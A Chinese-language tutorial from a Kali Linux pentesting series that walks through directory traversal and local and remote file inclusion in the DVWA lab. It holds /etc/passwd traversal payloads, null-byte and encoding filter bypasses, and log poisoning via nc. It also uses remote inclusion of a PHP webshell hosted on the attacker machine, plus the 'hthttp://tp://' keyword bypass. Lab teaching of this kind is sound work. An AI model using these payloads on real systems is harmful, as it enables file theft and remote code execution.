Kali Linux Web渗透:DVWA目录遍历漏洞、文件包含漏洞(30)

什么是目录遍历漏洞?

简单来说,应用程序如果有操作文件的功能,限制不严格会导致可以访问到WEB目录外的任意文件。

 

目录遍历漏洞和文件包含漏洞本质以及利用方法一样。

 

两者一定要论区别的话:

目录遍历:对本操作系统的文件进行读取;

文件包含:1、LFI本地文件包含,和目录遍历一致;2、RFI远程文件包含。

漏洞原因:目录权限限制不严格;

 

漏洞利用示例:

启动Metasploitable2靶机:192.168.163.129

启动Kali机器:192.168.163.132

 

在DVWA的这个目录存在文件包含漏洞:本地文件包含

DVWA文件包含漏洞

 

我们可以在Metasploitable2中修改配置文件以开启远程文件包含漏洞:

sudo vi /etc/php5/cgi/php.ini

然后输入/allow_url进行搜索:找到 allow_url_include 这里,修改成On

allow_url_include on

 

然后重启Apache服务:

sudo /etc/init.d/apache2 restart

这时候Metasploitable2就会存在远程文件包含漏洞了.

 

目录遍历漏洞的特征要注意:

?page=xxx.php
?home=xxx.html
?index=xxx.jsp
?file=content

 

常用漏洞验证方式:

1、../../../../../../(多少个../都行,越多越好)/etc/passwd

/etc/passwd

 

URL上这一串东西的大概意思:../返回上级目录,当返回到根目录时候再../还是根目录,然后直接进入linux系统的passwd文件

 

2、file:///etc/passwd(这里是文件包含漏洞,不过利用方法一致)

file:///etc/passwd

 

3、http://xxxxx.com

远程文件包含漏洞

 

前两种用途,也就是本地文件包含漏洞:可以读取到目标系统的机密文件;

最后一种用途,也就是远程文件包含漏洞:可以构建一个带有shellcode的网站,使目标访问,进而得到shell(虽然是低权限shell);

 

一、DVWA 本地文件包含漏洞

 

注意:

1、有时候?page=../../../etc/passwd,显示找不到passwd.php文件,这是目标系统开启了过滤机制。

绕过办法:PHP5.3版本以前的,可以用一个空字符%00来解决,示例:

?page=../../../etc/passwd%00

这时候就算目标机器补上一个.php,也无所谓。

 

2、有的服务器会过滤非法字符,比如/\$&.*等,我们可以采用一些编码来处理。

路径方面,linux一定是/,windows通常是\,但有可能是/,实际中可以多次发送根据结果来得到答案

 

编码方面:示例

URL编码:

../     %2e%2e%2f
..\     %2e%2e%5c
..\     %252e%252e%255c (双层URL编码)

 

Unicode/UTF-8编码:

../     ..%c0%af     ..%u2216    
..\     ..%c1%9c

 

编码工具:之前介绍的很多工具都有,我用BurpSuite来举例;

BurpSuite编码

 

可以用URL编码后的字符做尝试:成功!

%2e%2e%2f

 

其它系统用到的字符

 

上边说到,本地文件包含来查看文件内容;通常认为本地文件包含漏洞无法执行代码,万事没有绝对,有极其特殊的方式可以执行代码。

 

比如:利用访问日志

1、当我们访问一个WebServer例如Apache时候,就会有访问日志,会记录下来访问IP和访问的URL等一些简单的信息,我们用nc连接到目标的80端口:发送一段这样的东西:

nc连接

2、然后,会在apache的日志中插入一段php代码:然后对日志文件chmod,改为可执行权限。

如果失败了的话,多层chmod,使访问目录的所有层都赋予权限,然后利用文件包含漏洞,就有一定机会执行代码(不一定成功)。

 

二、DVWA 远程文件包含漏洞

下面分析一个远程文件包含漏洞示例,我先用NC侦听本地80端口:

nc监听

 

远程文件包含到Kali机器:这是输入Kali的IP,至于URL随便写;

DVWA 远程文件包含漏洞

 

然后,一直显示连接状态,查看NC,发现收到了连接请求:

nc连接

 

nc只是获得了连接请求,实际没用,下面展示实际使用方式:

利用Kali本机的Apache服务,到 /var/www/html 目录下,新建文本 1.txt,写入上边的php代码(或者搞个木马脚本都行,这里为了方便)

php 一句话木马

 

保存之后开启Apache服务;

开启Apache服务

 

然后测试远程本地文件包含漏洞:

dvwa 远程文件包含漏洞

 

成功执行了ls命令,到这一步就相当于拿到了shell;

 

最后:

我们可以查看DVWA这里的远程文件包含的源码:

LOW级别(低级):直接获取文件名

 <?php

    $file = $_GET['page']; //The page we wish to display 

?> 

 

MEDIUM级别(中级):过滤特殊字符,导致无法远程文件包含

解决方法:编码

比如:http://192.168.163.132 ======> %68%74%74%70%3a%2f%2f192.168.163.132

如果失败,就可以只针对http://中的某个字符,比如/进行编码;

如果还是失败,可以进行一种巧妙的方法,如下:

非常经典的关键字绕过方法:

hthttp://tp://192.168.163.132

我在一个http://中插入了一个http://,服务器只会识别一次,如果两个分开写都会被过滤,穿插来写,只会过滤一个。

<?php

    $file = $_GET['page']; // The page we wish to display 

    // Bad input validation
    $file = str_replace("http://", "", $file);
    $file = str_replace("https://", "", $file);        


?> 

 

HIGH级别(高级):规定写死,只能包含include.php

这种方式基本无解了,没有漏洞,或者我水平低下找不到漏洞;

 <?php
        
    $file = $_GET['page']; //The page we wish to display 

    // Only allow include.php
    if ( $file != "include.php" ) {
        echo "ERROR: File not found!";
        exit;
    }
        
?> 

 

总结:

远程文件包含漏洞出现概率远远小于本地文件包含漏洞,但是,远程文件包含漏洞更容易被利用。

头像
  • ¥ 45.0元
  • 市场价:45.0元
  • ¥ 299.0元
  • 市场价:599.0元
  • ¥ 398.0元
  • 市场价:498.0元
  • ¥ 98.0元
  • 市场价:398.0元

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: